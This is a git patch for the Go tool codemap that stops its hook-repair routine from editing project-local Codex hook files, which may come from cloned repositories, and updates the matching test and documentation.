Claude-Session: https://claude.ai/code/session_01FWQw8CwnpBLPW6jJiDE7BT --- cmd/setup.go | 6 ++++++ cmd/setup_repair_test.go | 19 +++++++++++++------ docs/HOOKS.md | 2 +- 3 files changed, 20 insertions(+), 7 deletions(-) diff --git a/cmd/setup.go b/cmd/setup.go index cb236be7..468f6bb7 100644 --- a/cmd/setup.go +++ b/cmd/setup.go @@ -783,6 +783,12 @@ func RepairSubagentHook(root, agent string) { return } for _, global := range []bool{false, true} { + // A project .codex/hooks.json can come from a cloned repo, and Codex + // asks the user to trust new hooks: never tell them to trust a file + // codemap did not write. Only the user's own CODEX_HOME is repaired. + if agent == "codex" && !global { + continue + } path, err := pathFor(root, global) if err != nil { continue diff --git a/cmd/setup_repair_test.go b/cmd/setup_repair_test.go index 08db8c09..efaade59 100644 --- a/cmd/setup_repair_test.go +++ b/cmd/setup_repair_test.go @@ -50,19 +50,26 @@ func TestRepairSubagentHook(t *testing.T) { // Codex: same repair on its own hooks file, with the trust step named. t.Setenv("CODEX_HOME", filepath.Join(home, ".codex")) - codexPath, _ := codexHooksPath(root, false) - if err := os.MkdirAll(filepath.Dir(codexPath), 0o755); err != nil { - t.Fatal(err) - } + codexPath, _ := codexHooksPath(root, true) + repoPath, _ := codexHooksPath(root, false) oldCodex := `{"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"codemap hook session-start --agent=codex --integration=codex-setup"}]}]}}` - if err := os.WriteFile(codexPath, []byte(oldCodex), 0o644); err != nil { - t.Fatal(err) + // The project file may come from a cloned repo: it must stay untouched. + for _, p := range []string{codexPath, repoPath} { + if err := os.MkdirAll(filepath.Dir(p), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(p, []byte(oldCodex), 0o644); err != nil { + t.Fatal(err) + } } SessionStartNotice = "" RepairSubagentHook(root, "codex") if c, _ := os.ReadFile(codexPath); !strings.Contains(string(c), "hook subagent-start --agent=codex --integration=codex-setup") { t.Fatalf("Codex SubagentStart not added:\n%s", c) } + if r, _ := os.ReadFile(repoPath); string(r) != oldCodex || strings.Contains(SessionStartNotice, repoPath) { + t.Fatalf("project Codex hooks were repaired or named: %q\n%s", SessionStartNotice, r) + } if !strings.Contains(SessionStartNotice, "/hooks in Codex") { t.Fatalf("notice = %q", SessionStartNotice) } diff --git a/docs/HOOKS.md b/docs/HOOKS.md index 3ea27eaf..4f1bd3cd 100644 --- a/docs/HOOKS.md +++ b/docs/HOOKS.md @@ -37,7 +37,7 @@ Global settings instead of project-local: codemap setup --global ``` -After an upgrade there is no need to run setup again: when a settings file already has codemap's session-start hook but lacks a newer one (`SubagentStart`), the session-start hook adds it and says so. It takes effect in the next session; Codex also asks you to trust the new hook from `/hooks` first. Hook files without codemap hooks are never touched. +After an upgrade there is no need to run setup again: when a settings file already has codemap's session-start hook but lacks a newer one (`SubagentStart`), the session-start hook adds it and says so. It takes effect in the next session; Codex also asks you to trust the new hook from `/hooks` first, and only the global Codex hook file is repaired; for a project-local `.codex/hooks.json`, run `codemap setup` again. Hook files without codemap hooks are never touched. This command: - creates `.codemap/config.json` and `.codemap/.gitignore` when missing; machine state always lives in the per-user state dir, never in the repo (see [INSTALL.md](INSTALL.md#setup))